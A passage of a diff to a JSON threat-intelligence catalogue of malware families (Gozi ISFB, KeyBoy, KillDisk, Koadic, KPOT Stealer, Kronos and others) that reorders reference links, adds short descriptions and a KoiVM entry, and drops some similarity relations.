"https://isc.sans.edu/forums/diary/Reviewing+the+spam+filters+Malspam+pushing+GoziISFB/23245", - "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", - "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/", - "https://research.nccgroup.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/", - "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", - "https://www.zdnet.com/article/ursnif-trojan-has-targeted-over-100-italian-banks/", - "https://blog.yoroi.company/research/ursnif-the-latest-evolution-of-the-most-popular-banking-malware/", - "https://www.cyberbit.com/blog/endpoint-security/new-ursnif-malware-variant/", - "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf", - "https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/", - "https://www.youtube.com/watch?v=jlc7Ahp8Iqg", - "https://blog.yoroi.company/research/ursnif-long-live-the-steganography/", - "https://www.cylance.com/en_us/blog/threat-spotlight-ursnif-infostealer-malware.html", - "https://journal.cecyf.fr/ojs/index.php/cybin/article/view/15", - "https://blog.fox-it.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/", - "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf", - "https://www.cyberbit.com/new-ursnif-malware-variant/", - "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", - "https://www.proofpoint.com/us/blog/security-briefs/ta544-targets-italian-organizations-ursnif-malware", - "https://github.com/gbrindisi/malware/tree/master/windows/gozi-isfb", - "https://github.com/mlodic/ursnif_beacon_decryptor", - "https://www.darktrace.com/en/blog/the-resurgence-of-the-ursnif-banking-trojan/", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" + "https://www.proofpoint.com/us/blog/security-briefs/ta544-targets-italian-organizations-ursnif-malware" ], "synonyms": [ "Gozi ISFB", @@ -27647,11 +29270,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ismagent", - "https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/", 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"https://www.zscaler.com/blogs/research/targeted-attacks-indian-government-and-financial-institutions-using-jsoutprox-rat", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://twitter.com/zlab_team/status/1208022180241530882", - "https://yoroi.company/research/financial-institutions-in-the-sight-of-new-jsoutprox-attack-waves/", - "https://www.fortinet.com/blog/threat-research/adversary-playbook-javascript-rat-looking-for-that-government-cheese", "https://blogs.quickheal.com/multi-staged-jsoutprox-rat-targets-indian-cooperative-banks-and-finance-companies/", - "https://www.seqrite.com/documents/en/white-papers/whitepaper-multi-staged-jsoutprox-rat-target-indian-co-operative-banks-and-finance-companies.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" + "https://www.fortinet.com/blog/threat-research/adversary-playbook-javascript-rat-looking-for-that-government-cheese", + "https://blog.yoroi.company/research/unveiling-jsoutprox-a-new-enterprise-grade-implant/", + "https://yoroi.company/research/financial-institutions-in-the-sight-of-new-jsoutprox-attack-waves/", + "https://www.zscaler.com/blogs/research/targeted-attacks-indian-government-and-financial-institutions-using-jsoutprox-rat", + "https://www.seqrite.com/documents/en/white-papers/whitepaper-multi-staged-jsoutprox-rat-target-indian-co-operative-banks-and-finance-companies.pdf" ], "synonyms": [], "type": [] @@ -28075,19 +29676,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.jssloader", - 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"https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam" + "https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/", + "https://norfolkinfosec.com/jeshell-an-oceanlotus-apt32-backdoor/", + "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", + "https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam", + "https://blog.cystack.net/word-based-malware-attack/", + "https://tradahacking.vn/th%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7" ], "synonyms": [], "type": [] @@ -28398,9 +29997,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrican", + "https://www.welivesecurity.com/2019/07/18/okrum-ke3chang-targets-diplomatic-missions/", "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", "https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf", - "https://www.welivesecurity.com/2019/07/18/okrum-ke3chang-targets-diplomatic-missions/", "https://www.intezer.com/blog/research/the-evolution-of-apt15s-codebase-2020/" ], "synonyms": [], @@ -28427,13 +30026,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.keybase", - "https://www.virusbulletin.com/virusbulletin/2016/07/new-keylogger-block/", - "https://th3l4b.blogspot.com/2015/10/keybase-loggerclipboardcredsstealer.html", - "https://unit42.paloaltonetworks.com/keybase-threat-grows-despite-public-takedown-a-picture-is-worth-a-thousand-words/", - "https://isc.sans.edu/forums/diary/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware/22011/", "https://community.rsa.com/community/products/netwitness/blog/2018/02/15/malspam-delivers-keybase-keylogger-2-11-2017", - "https://unit42.paloaltonetworks.com/keybase-keylogger-malware-family-exposed/", - "https://voidsec.com/keybase-en/" + "https://th3l4b.blogspot.com/2015/10/keybase-loggerclipboardcredsstealer.html", + "https://isc.sans.edu/forums/diary/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware/22011/", + "https://www.virusbulletin.com/virusbulletin/2016/07/new-keylogger-block/", + "https://voidsec.com/keybase-en/", + "https://unit42.paloaltonetworks.com/keybase-threat-grows-despite-public-takedown-a-picture-is-worth-a-thousand-words/", + "https://unit42.paloaltonetworks.com/keybase-keylogger-malware-family-exposed/" ], "synonyms": [ "Kibex" @@ -28448,26 +30047,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.keyboy", + "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/", + "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html", "https://www.secureworks.com/research/threat-profiles/bronze-hobart", "https://citizenlab.ca/2016/11/parliament-keyboy/", - "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/", - "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" ], "synonyms": [ "TSSL" ], "type": [] }, - "related": [ - { - "dest-uuid": "74167065-90b3-4c29-807a-79b6f098e45b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "28c13455-7f95-40a5-9568-1e8732503507", "value": "KeyBoy" }, @@ -28476,9 +30066,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.keylogger_apt3", + "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", "https://intrusiontruth.wordpress.com/2017/05/09/apt3-is-boyusec-a-chinese-intelligence-contractor/", - "https://twitter.com/smoothimpact/status/773631684038107136", - "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + "https://twitter.com/smoothimpact/status/773631684038107136" ], "synonyms": [], "type": [] @@ -28491,23 +30081,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.keymarble", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://research.checkpoint.com/north-korea-turns-against-russian-targets/" + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://research.checkpoint.com/north-korea-turns-against-russian-targets/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "f7f53bb8-37ed-4bbe-9809-ca1594431536", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "0c213d7f-8c71-4341-aeb0-13be71fbf4e5", "value": "KEYMARBLE" }, @@ -28530,11 +30111,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.khonsari", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", - "https://www.cadosecurity.com/analysis-of-novel-khonsari-ransomware-deployed-by-the-log4shell-vulnerability/", + "https://cloudsek.com/technical-analysis-of-khonsari-ransomware-campaign-exploiting-the-log4shell-vulnerability/", "https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation", - "https://assets.virustotal.com/reports/2021trends.pdf", - "https://cloudsek.com/technical-analysis-of-khonsari-ransomware-campaign-exploiting-the-log4shell-vulnerability/" + "https://www.cadosecurity.com/analysis-of-novel-khonsari-ransomware-deployed-by-the-log4shell-vulnerability/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", + "https://assets.virustotal.com/reports/2021trends.pdf" ], "synonyms": [], "type": [] @@ -28543,27 +30124,18 @@ "value": "Khonsari" }, { - "description": "", + "description": "According to Unit42, KHRAT is a Trojan that registers victims using their infected machine’s username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.khrat", "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/", + "https://unit42.paloaltonetworks.com/atoms/rancortaurus/", "https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/", - "https://www.forcepoint.com/de/blog/x-labs/trojanized-adobe-installer-used-install-dragonok-s-new-custom-backdoor", - "https://unit42.paloaltonetworks.com/atoms/rancortaurus/" + "https://www.forcepoint.com/de/blog/x-labs/trojanized-adobe-installer-used-install-dragonok-s-new-custom-backdoor" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "72b702d9-43c3-40b9-b004-8d0671225fb8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "361d3f09-8bc8-4b5a-803f-8686cf346047", "value": "KHRAT" }, @@ -28595,19 +30167,18 @@ "value": "KillAV" }, { - "description": "", + "description": "KillDisk is a generic detection name used by ESET to refer to destructive malware with disk wiping capabilities, such as damaging boot sectors and overwriting then deleting (system) files, followed by a reboot to render the machine unusable. Although all KillDisk malware has similar functionality, as a generic detection, individual samples do not necessarily have strong code similarities or relationships. Such generic malware detections usually have many “sub-families”, distinguished by the detection suffix (e.g. KillDisk.NBO, KillDisk.NCV, and KillDisk.NCX). Sub-family variants that do have strong code similarities, are sometimes seen in separate cyberattacks and thus can help researchers make connections between them. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.killdisk", - "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks", + "https://www.secureworks.com/research/threat-profiles/iron-viking", "https://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt", - "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/", - "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", + "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks", "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://attack.mitre.org/groups/G0034", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-financial-organizations-in-latin-america/", - "https://www.secureworks.com/research/threat-profiles/iron-viking" + "https://attack.mitre.org/groups/G0034" ], "synonyms": [], "type": [] @@ -28638,15 +30209,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "3160f772-d458-4bff-970c-1c0431238803", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "61edd17b-322d-45dc-a6a0-31c13ec2338e", "value": "KimJongRat" }, @@ -28655,19 +30217,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kimsuky", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://metaswan.github.io/posts/Malware-Kimsuky-group's-resume-impersonation-malware", - "https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure", + "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.html", + "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", "https://www.boho.or.kr/filedownload.do?attach_file_seq=2652&attach_file_id=EpF2652.pdf", + "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html", + "https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/", + "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-Kim.pdf", "https://blog.prevailion.com/2019/09/autumn-aperture-report.html", "https://asec.ahnlab.com/en/37396/", - "https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/", - "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", - "https://inquest.net/blog/2021/08/23/kimsuky-espionage-campaign", - "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-Kim.pdf", "https://blog.alyac.co.kr/2347", - "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.html", - "https://asec.ahnlab.com/en/30532/" + "https://asec.ahnlab.com/en/30532/", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://medium.com/walmartglobaltech/pivoting-on-a-sharpext-to-profile-kimusky-panels-for-great-good-1920dc1bcef9", + "https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure", + "https://inquest.net/blog/2021/08/23/kimsuky-espionage-campaign", + "https://cocomelonc.github.io/malware/2022/08/26/malware-pers-9.html" ], "synonyms": [], "type": [] @@ -28680,25 +30245,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kingminer", - "https://news.sophos.com/en-us/2020/06/09/kingminer-report/", - "https://asec.ahnlab.com/en/32572/", "https://www.bitdefender.com/files/News/CaseStudies/study/354/Bitdefender-PR-Whitepaper-KingMiner-creat4610-en-EN-GenericUse.pdf", - "https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/", "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophos-labs-kingminer-botnet-report.pdf", - "https://www.trendmicro.com/en_us/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html" + "https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/", + "https://www.trendmicro.com/en_us/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html", + "https://news.sophos.com/en-us/2020/06/09/kingminer-report/", + "https://asec.ahnlab.com/en/32572/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "a9467439-48d8-4f68-9519-560bb6430f0c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "04d95343-fd44-471d-bfe7-908994a98ea7", "value": "Kingminer" }, @@ -28707,9 +30263,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kins", - "https://github.com/nyx0/KINS", - "https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/", "https://www.vkremez.com/2018/10/lets-learn-exploring-zeusvm-banking.html", + "https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/", + "https://github.com/nyx0/KINS", "https://securityintelligence.com/zeus-maple-variant-targets-canadian-online-banking-customers/" ], "synonyms": [ @@ -28727,8 +30283,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kivars", "https://www.trendmicro.com/en_us/research/17/f/following-trail-blacktech-cyber-espionage-campaigns.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt", - "https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/" + "https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt" ], "synonyms": [], "type": [] @@ -28782,8 +30338,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.klrd", - "https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", - "https://securitykitten.github.io/2016/11/28/the-klrd-keylogger.html" + "https://securitykitten.github.io/2016/11/28/the-klrd-keylogger.html", + "https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks" ], "synonyms": [], "type": [] @@ -28805,38 +30361,42 @@ "value": "Knot" }, { - "description": "", + "description": "Koadic is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub. Koadic has several options for staging payloads and creating implants, and performs most of its operations using Windows Script Host.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.koadic", - "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", - "https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf", - "https://www.secureworks.com/research/threat-profiles/cobalt-ulster", - "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", - "https://www.secureworks.com/research/threat-profiles/gold-drake", - "https://blog.tofile.dev/2020/11/28/koadic_jarm.html", - "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", - "http://www.secureworks.com/research/threat-profiles/cobalt-ulster", "https://github.com/zerosum0x0/koadic", - "http://www.secureworks.com/research/threat-profiles/gold-drake", + "http://www.secureworks.com/research/threat-profiles/cobalt-ulster", + "https://www.secureworks.com/research/threat-profiles/gold-drake", "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", - "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf" + "https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf", + "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", + "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", + "https://www.secureworks.com/research/threat-profiles/cobalt-ulster", + "http://www.secureworks.com/research/threat-profiles/gold-drake", + "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", + "https://blog.tofile.dev/2020/11/28/koadic_jarm.html" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "f9e0b922-253c-40fa-a6d2-e60ec9c6980b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "3b5faa15-e87e-4aaf-b791-2c5e593793e6", "value": "Koadic" }, + { + "description": "A loader written in .NET.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.koivm", + "https://labs.k7computing.com/index.php/koivm-loader-resurfaces-with-a-bang/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "4b7c6af1-1980-452f-9405-e42d0066ff2d", + "value": "KoiVM" + }, { "description": "", "meta": { @@ -28855,10 +30415,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.komprogo", - "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf", - "https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx", "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", - "https://www.symantec.com/security_response/earthlink_writeup.jsp?docid=2015-120808-5327-99" + "https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx", + "https://www.symantec.com/security_response/earthlink_writeup.jsp?docid=2015-120808-5327-99", + "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf" ], "synonyms": [ "Splinter RAT" @@ -28873,35 +30433,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.konni", - "https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b", - "https://www.bleepingcomputer.com/news/security/hackers-take-over-diplomats-email-target-russian-deputy-minister/", "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", - 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"https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/kovter-an-evolving-malware-gone-fileless" + "https://blog.malwarebytes.com/threat-analysis/2015/01/major-malvertising-campaign-hits-sites-with-combined-total-monthly-traffic-of-1-5bn-visitors/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Kovter/Kovter.md", + "https://www.symantec.com/connect/blogs/kovter-malware-learns-poweliks-persistent-fileless-registry-update", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://0xchrollo.github.io/articles/unpacking-kovter-malware/", + "https://github.com/ewhitehats/kovterTools/blob/master/KovterWhitepaper.pdf", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a" ], "synonyms": [], "type": [] @@ -28980,19 +30534,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kpot_stealer", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://isc.sans.edu/diary/26010", - "https://news.drweb.com/show/?i=13242&lng=en", - "https://www.flashpoint-intel.com/blog/malware-campaign-targets-jaxx-cryptocurrency-wallet-users/", - "https://isc.sans.edu/diary/25934", - "https://blog.ensilo.com/game-of-trojans-dissecting-khalesi-infostealer-malware", - "https://medium.com/s2wlab/deep-analysis-of-kpot-stealer-fb1d2be9c5dd", "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/kpot2/KPOT.md", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://medium.com/s2wlab/deep-analysis-of-kpot-stealer-fb1d2be9c5dd", + "https://isc.sans.edu/diary/26010", + "https://www.flashpoint-intel.com/blog/malware-campaign-targets-jaxx-cryptocurrency-wallet-users/", "https://www.zdnet.com/article/revil-ransomware-gang-acquires-kpot-malware/", + "https://isc.sans.edu/diary/25934", "https://www.proofpoint.com/us/threat-insight/post/new-kpot-v20-stealer-brings-zero-persistence-and-memory-features-silently-steal", + "https://blog.ensilo.com/game-of-trojans-dissecting-khalesi-infostealer-malware", "https://blag.nullteilerfrei.de/2020/04/26/use-ghidra-to-decrypt-strings-of-kpotstealer-malware/", - "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/kpot2/KPOT.md" + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://news.drweb.com/show/?i=13242&lng=en" ], "synonyms": [ "Khalesi", @@ -29021,10 +30575,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kraken", + "https://securingtomorrow.mcafee.com/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/", "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", - "https://www.recordedfuture.com/kraken-cryptor-ransomware/", "https://www.bleepingcomputer.com/news/security/kraken-cryptor-ransomware-masquerading-as-superantispyware-security-program/", - "https://securingtomorrow.mcafee.com/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/" + "https://www.recordedfuture.com/kraken-cryptor-ransomware/" ], "synonyms": [], "type": [] @@ -29033,13 +30587,14 @@ "value": "Kraken" }, { - "description": "", + "description": "ThreatPost describes KRBanker (Blackmoon) as a banking Trojan designed to steal user credentials from various South Korean banking institutions. It was discovered in early 2014 and since then has adopted a variety of infection and credential stealing techniques.\r\n\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker", - "https://www.peppermalware.com/2019/03/analysis-of-blackmoon-banking-trojans.html", - "https://zairon.wordpress.com/2014/04/15/trojan-banking-47d18761d46d8e7c4ad49cc575b0acc2bb3f49bb56a3d29fb1ec600447cb89a4/", "http://researchcenter.paloaltonetworks.com/2016/05/unit42-krbanker-targets-south-korea-through-adware-and-exploit-kits-2/", + "https://fidelissecurity.com/threatgeek/threat-intelligence/blackmoon-banking-trojan-new-framework/", + "https://zairon.wordpress.com/2014/04/15/trojan-banking-47d18761d46d8e7c4ad49cc575b0acc2bb3f49bb56a3d29fb1ec600447cb89a4/", + "https://www.peppermalware.com/2019/03/analysis-of-blackmoon-banking-trojans.html", "https://www.proofpoint.com/us/threat-insight/post/Updated-Blackmoon-Banking-Trojan" ], "synonyms": [ @@ -29067,25 +30622,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kronos", - "https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/", - "https://blog.morphisec.com/long-live-osiris-banking-trojan-targets-german-ip-addresses", - "https://www.zdnet.com/article/security-researcher-malwaretech-pleads-guilty/", - "https://securityintelligence.com/the-father-of-zeus-kronos-malware-discovered/", - "https://dissectingmalwa.re/osiris-the-god-of-afterlifeand-banking-malware.html", - "https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf", - "https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", - "https://www.zscaler.com/blogs/security-research/ares-malware-grandson-kronos-banking-trojan", - "https://twitter.com/3xp0rtblog/status/1294157781415743488", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware", - "https://www.securonix.com/securonix-threat-research-kronos-osiris-banking-trojan-attack", - "https://intel471.com/blog/privateloader-malware", - "https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware-p2/", "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", + "https://www.securonix.com/securonix-threat-research-kronos-osiris-banking-trojan-attack", + "https://dissectingmalwa.re/osiris-the-god-of-afterlifeand-banking-malware.html", + "https://intel471.com/blog/privateloader-malware", "https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/", + "https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware", + "https://www.zdnet.com/article/security-researcher-malwaretech-pleads-guilty/", + "https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware-p2/", + "https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/", + "https://unit42.paloaltonetworks.com/banking-trojan-techniques/", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.proofpoint.com/us/threat-insight/post/kronos-reborn", + "https://www.zscaler.com/blogs/security-research/ares-malware-grandson-kronos-banking-trojan", + "https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware/", "https://therecord.media/osiris-banking-trojan-shuts-down-as-new-ares-variant-emerges/", - 